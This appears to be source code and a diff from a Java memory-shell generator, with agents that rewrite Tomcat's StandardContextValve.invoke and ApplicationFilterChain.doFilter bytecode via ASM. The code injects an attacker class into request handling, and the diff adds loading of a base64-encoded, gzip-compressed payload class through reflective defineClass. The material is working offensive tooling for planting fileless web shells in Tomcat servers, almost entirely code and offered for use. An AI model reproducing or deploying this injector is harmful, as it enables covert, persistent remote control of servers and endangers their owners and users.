public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public TomcatContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.tomcat; package com.reajason.javaweb.memshell.injector.tomcat;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer { public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) inst.retransformClasses(allLoadedClass);
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
.type(named("org.apache.catalina.core.ApplicationFilterChain")) }
.transform(new TomcatFilterChainAgentInjector()) }
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}

Some files were not shown because too many files have changed in this diff Show More